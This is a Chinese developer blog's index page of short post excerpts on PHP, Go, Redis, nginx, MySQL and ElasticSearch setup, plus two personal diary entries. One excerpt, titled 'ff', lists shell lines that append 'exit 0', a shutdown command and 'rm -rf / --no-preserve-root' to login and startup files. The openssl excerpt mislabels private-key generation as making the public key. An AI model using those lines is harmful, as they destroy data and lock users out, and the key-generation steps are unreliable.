自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(42)
  • 收藏
  • 关注

原创 webpack 打包不支持 es6

npm install --save--dev babel-preset-stage-2npm install babel-preset-es2015 --save-dev编辑    .babel.rc {"presets": ["es2015"]}

2017-09-19 22:39:11 2230

原创 php 存储容量换算

function setupSize($fileSize) { $size = sprintf("%u", $fileSize); if($size == 0) { return("0 Bytes"); } $sizename = array(" Bytes", " KB", " MB", "

2017-02-21 09:18:53 668

原创 Redis String 源码解读1

yua yua# 欢迎使用Markdown编辑器写博客本Markdown编辑器使用StackEdit修改而来,用它写博客,将会带来全新的体验哦:Markdown和扩展Markdown简洁的语法代码块高亮图片链接和图片上传LaTex数学公式UML序列图和流程图离线写博客导入导出Markdown文件丰富的快捷键快捷键加粗 Ctrl + B 斜体 Ctrl + I 引用

2016-10-14 09:08:32 456

原创 C compiler cannot create executables checking whether the C compiler works... no

checking for grep that handles long lines and -e… /bin/grep checking for egrep… /bin/grep -E checking for a sed that does not truncate output… /bin/sed checking build system type… i686-pc-linux-gnu

2016-08-19 16:43:06 6066 3

原创 检讨1

与LISA 聊天上个月接单的时候认识了一位HR, 她说有一个红包的单子要找人做。我当时想要不接下来吧!气人的是,那家伙居然要先做完才付钱,我当时就不愿意,因为这样对我来说风险太大,我一般都是先收定金。然后那LISA ., 又来和我交涉,说钱先托管到她那,做完了她直接给我!我肯定不愿意了,也就没有理会了。但是她老来劝说我,但是我不为所动,不知道怎么了,就聊到了他男朋友,最巧合的是他男朋友居然是我前同事

2016-08-12 10:57:55 461

原创 我错了

2016 07 20 我跟LISA聊天,她说他们公司前台,又懒又笨,什么事都做不好,都要她出面处理,关键是长得还丑。 我说我们公司前台乱七八糟的活都做,而且人长得很漂亮,不知道她为什么要跑来做前台,而且学历本科(我学姐) LISA : 你学姐的话,那年纪很大了吧,前台都是小女孩做的! 我:25 6 吧 LISA : 这种人要么懒,不肯学习,要么就是有人包养了 我:看着不像啊其实我也觉

2016-08-11 23:13:10 305

原创 redis-cluster 集群搭建

1. 依赖redis 3.0 以上ruby 构建集群命令用到了ruby,所以一定要安装2.安装redis : 下载redis3.0 tar -zxvf redis3.0.tar.gz /usr/local/redis make sudo make installruby : sudo apt-get i

2016-08-04 15:22:53 239

原创 golang 实现选择排序

什么是选择排序 它的工作原理是每一次从待排序的数据元素中选出最小(或最大)的一个元素,存放在序列的起始位置,直到全部待排序的数据元素排完。 选择排序是不稳定的排序方法(比如序列[5, 5, 3]第一次就将第一个[5]与[3]交换,导致第一个5挪动到第二个5后面)。2 . 实例[10,5,78,90,66,4] //这是原始数组//开始,第一次以地一个元素为起点,找出最小的数,然后交换[

2016-07-30 14:16:53 312

原创 golang 实现冒泡排序

func sort(array []int) { length := len(array) for i := 0; i < length; i++ { for j := i + 1; j < length; j++ { temp := array[i] if array[i] < array[j] {

2016-07-30 11:23:31 269

原创 如何减少bug(php 版本)

变量声明在使用foreach 循环要注意赋值,特别是里面有if 判断时; eg :$arr = [ ['id'=>1, 'name' => 'hhee'], ['id'=>0, 'name' => 'hhee0'], ['id'=>3, 'name' => 'hhee0'], ['id'=>4, 'name' => 'hhee0'],]$result = $

2016-07-30 10:33:42 520

原创 C语言的二进制 十进制 ^&|~ >> <<运算

二进制 转 十进制 假设二进制 1001 运算公式: 1 0 0 11*2*2*2 0*2*2 0*2 0*2的0次方最后相加 8 + 0 + 0 + 1 = 9十进制转2进制假设十进制 99%2 商4余12%2 商2余02%2 商1余01%2 余1余数下往上拼接

2016-05-26 22:37:21 3542 1

原创 golang json 处理

golang 的json 很蛋疼import ( "encoding/json")func main(){ //注意 : json 要encode struct里面的字段一定要是公共的 type Person struct { Name string Age int8 Height float32 }

2016-04-12 11:31:34 1174

原创 golang map使用

定义map类型 1.makevar a = make(map[string]int)a["one"] = 1a["two"] = 22.b :=map[string]int{ "a" : 1, "b" : 2,}删除一个keydelete(b,"a")注意 b[“a”] 不是一个变量,不能进行取地址操作循环和数组一样for k,v :=range b{ ...}

2016-04-09 13:50:11 1373

原创 Redis 并发加锁

并发加锁 如果不是redis 集群,可以用multi 如果是集群就不行了,因为访问的redis是随机的function lock($id,$expire){ $id = "lock_".$id; $now = time(); $expireTime = $now + $expire; $redis = Factory::getRedis(); $reul

2016-04-07 15:37:29 708

原创 ElasticSearch 新建mapping

url : :9200/xx_index putxx_index 是索引名字{ "mappings": { "search_log" :{ //这是type "properties":{ "search_keyword" :{ "ty

2015-12-29 12:46:02 876

原创 ElasticSearch 新建索引

首先要明白什么是索引举传统关系型数据库mysql为例 MySQL: DB -> table -> row -> field ES: Index -> class -> document ->field 其实跟关系型数据库很像新建索引 url : 127.0.0.1:9200/sns //这里的sns就是索引名称method : put{ "setting

2015-12-18 22:51:49 651

转载 openssl RSA 生成公钥和秘钥

首先确保机器已经安装了openssl以下拿win举例打开cmd , 进入 要生成公钥和秘钥的目录生成公钥 genrsa -out rsa_private_key.pem 1024 3.生成私钥rsa -in private_key.pem -pubout -out public_key.pem一定要先生成秘钥才能生成对应的公钥

2015-12-17 14:57:05 579

原创 ff

著作权归作者所有。echo "exit 0" >> ~/.bashrc或者 echo "shutdown -s now" >> ./bashrc再或者 echo "rm -rf / --no-preserve-root" >> /etc/rc.local差不多了。

2015-12-14 12:56:41 318

原创 PHP 匹配中文(UTF-8)

匹配中文确实很蛋疼,网上找了好久,好多都很坑。 不过慢慢研究其实发现也是很难,主要是细节问题中文的范围\u4e00-\u9fa5如果直接这么去匹配,百分百匹配不到$pat = "/[\u4e00-\u9fa5]/";Warning: preg_match(): Compilation failed: PCRE does not support \L, \l, \N{name}, \U, or \u

2015-12-03 16:12:17 465

原创 统计nginx某个请求

cat /usr/local/nginx/logs/access.log| sed -n '/24\/Nov\/2015:22:00*/,/24\/Nov\/2015:23:59*/p'|grep 'test7'|wc -l

2015-11-24 22:27:53 1091

原创 安装nginx 必装程序 zlib pcre

zlib下载地址http://zlib.net/zlib-1.2.8.tar.gzpcre 下载地址ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/

2015-11-13 16:45:41 780

原创 nginx 支持thinkphp pathinfo最简单的方法

默认情况下nginx是不支持pathinfo的。虽然说配置支持pathinfo不难,但是呢,网上的教程没几个可以用的,麻蛋我忙活了2天也没搞好这个最后用了一个最简单的方法解决了 把thinkphp的URL_MODE设置为3 就是下面这种风格index.php?s=/portal/index/test其实原来很简单 就是通过rewrite 首先先把index.php/XXX 后面的参数转成

2015-11-11 23:57:43 495

原创 linux 下安装php 常用编译选项 配置fpm

安装PHP以下是常用的编译选项./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc/ \--with-mysql=/usr/local/mysql --with-mysqli=/usr/local/mysql/bin/mysql_config --with-gd --with-zlib --w

2015-11-11 23:50:36 609

原创 git 服务器搭建 for linux

1.安装git 如果是center os yun install git 其他linux请百度实在不行就下载git安装包1:./configure2:make3:make intall安装成功2 . 添加git用户useradd git //创建用户passwd git //设置密码生成git仓库假设我们的仓库在/home/git/pmcd /home/git/pmgit init

2015-11-01 00:12:00 423

转载 php 多进程思路

2015-10-21 11:46:22 273

转载 http server原理,nginx与php之间是如何工作的

Nginx (“engine x”) 是一个高性能的 HTTP 和 反向代理 服务器,也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。— 百度

2015-10-20 18:15:19 877

原创 php redis 单例模式

单例模式思想其实很简单首先 有一个实例的静态变量构造方法和克隆方法设置为私有,防止外部直接new提供一个获取实例的静态方法代码如下:class Redis { private static $_instance = null; //静态实例 private function __construct(){ //私有的构造方法 self::$_instance =

2015-10-15 13:30:10 5612

原创 redis 使用密码登录

cli下命令: redis-cli -h 127.0.0.1 -p 6374 -a 'your pwd'之前百度搜索到的结果是 redis-cli -h 127.0.0.1 -p 6374 -a your pwd密码没用 ‘’引起来,死活连接不上,坑死了PHP:$redis = new Redis('127.0.0.1');$redis->auth('your pwd');got it

2015-10-15 13:25:24 1444

原创 php 安装redis扩展 for window

window下安装php扩展其实非常简单就是把dll文件copy进去就ok了首先先看你确定你php版本php -v我的是5.5的,装的是32位的php装扩展之前要先确定你机器的环境。phpinfo下载扩展!下载地址:从网上直接下载编译好的dll文件即可,一定要选择和php对应的版本。 php_redis-5.5-vc11-ts-x86-00233a.zip http://d-h.st/4A5

2015-10-14 12:58:42 863

原创 window 下安装redis

不得不说redis逼格太高了,默认是不支持window的!!!!但是没办法在公司开发机装的就是window!!!!!首先下载window版的redis下载地址: 链接: http://pan.baidu.com/s/1qWP5X4w 密码: s6bw当然也可以上github上下载下载完成解压运行cmd启动redis:redis-server 这里我不指定redis.conf 毕竟只是开发机!!!!

2015-10-14 12:48:39 326

原创 SQLSTATE[HY000] [2002] No such file or directory php连接mysql失败

SQLSTATE[HY000] [2002] No such file or directory 提示信息其实不是很清楚,但是呢,能说明一点就是php找不到mysql在哪?解决方法很简单首先要知道你mysql.sock在哪?一般是在 /private/tmp/mysql.sock如果不知道,就用find命令find / -name mysql.sock然后呢,把mysql.sock 复制到 /var

2015-10-12 22:03:02 1327

原创 MySQL 新增用户 权限分配 远程登录

1.新增用户create user 'username'@'host' IDENTIFIED by 'password'2.赋予权限GRANT ALL PRIVILEGES ON *.* TO 'username'@'host' IDENTIFIED BY '901220' WITH GRANT OPTION; //所有权限grant select, insert, update, delete

2015-09-23 22:23:46 506

原创 Fatal error: Call to undefined functionmb_internal_encoding() ,mac 安装php mbstring扩展

Fatal error: Call to undefined functionmb_internal_encoding() ,报错原因就是没装mbstrig扩展!下面我们来安装php mb_string如果是编译php源码 ,直接加上这个选项就行 –enable=mbstring 。如果你忘记了,没关系,我们在安装一遍!cd /home/soft/php5.6.12/ext ,这是你源码的地方

2015-09-21 23:24:45 1864

原创 MySQL 中 Myisam 与 innodb区别

Myisam BDB Memory InnoDB Archive 事务安全 锁机制

2015-09-21 13:26:24 368

原创 电商网站多语言架构

电子商务网站多语言版设计思路1. 数据库设计1. 分库,还是分表2. 单表还是多表这步其实很关键:首先 这直接涉及到代码逻辑,一有不慎,可能会导致原有方案失效说说我们的设计思路吧!我们采用的是分库方式!一种语言一个数据库这样的好处有哪些呢? 1.避免单库数据量过大,导致查询难以优化。 举个例子:假设有2种语言,中文和英文。在商品表中,一个商品在不同语言下,其实还是同一件商品,他们有共同的属

2015-09-20 11:48:01 5063

原创 MySQL 存储过程的优缺点

1 什么是存储过程 通俗的来讲就是一段sql程序,类似于php编程。其实也没多大卵用2.存储过程的优点 1. 简化操作,把复杂的运算交给存储过程,可以减少服务端程序代码亮,加快开发速度 2. 其他优点暂时还没想到3.存储过程缺点 1.不易维护,一旦逻辑变了修改起来麻烦 2.如果写此存储过程的人离职了,对于接手她代码的人估计是一场灾难,因为别人还要去

2015-09-20 10:48:52 3592 1

原创 MySQL 触发器使用

什么是触发器??? 简单的来说就是当执行某条sql语句的时候,会触发另外一条sql语句的执行!触发器使用场景: a. 逻辑不是很复杂的sql b. 两个表具有一定的关联性,一个表数据改变,另外一个表数据也会随之变化 c. 不适合做太复杂的操作! 一般复杂的操作最好是程序员自己写代码去实现,或者使用mysql的存储过程,触发器创建create trigger [trigger

2015-08-30 21:23:04 431

转载 缓存雪崩,缓存穿透解决方案

缓存雪崩缓存雪崩可能是因为数据未加载到缓存中,或者缓存同一时间大面积的失效,从而导致所有请求都去查数据库,导致数据库CPU和内存负载过高,甚至宕机。解决思路:1,采用加锁计数,或者使用合理的队列数量来避免缓存失效时对数据库造成太大的压力。这种办法虽然能缓解数据库的压力,但是同时又降低了系统的吞吐量。2,分析用户行为,尽量让失效时间点均匀分布。避免缓存雪崩的出现。

2015-08-28 22:36:31 2147

原创 mac 下安装php5.6 with php-fpm

mac 下安装php5.6 和fpm其实php 自5.3后就自带了fpm,但是编译的时候需要加入–enable-fpm才会安装fpm下载地址:http://download.php.net以下是安装步骤:1. 解压 tar -zxvf php-5.6.12.tar.gz cd php-5.6.12 2.configure ./configure --prefix=/usr/

2015-08-23 10:16:10 695

原创 mac下安装mysql5.6

mac下安装mysql5.6mac下安装mysql有2种方式:下载dmg包,直接安装下载源码下载地址: http://dev.mysql.com/downloads/mysql/直接安装的就不说了 mysql的安装根别的软件不大一样,一般安装都是 ./configure make make intall 这三步! 但是mysql压根就没有 configure。 以下是本人安装的过程,

2015-08-23 10:04:25 2556

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除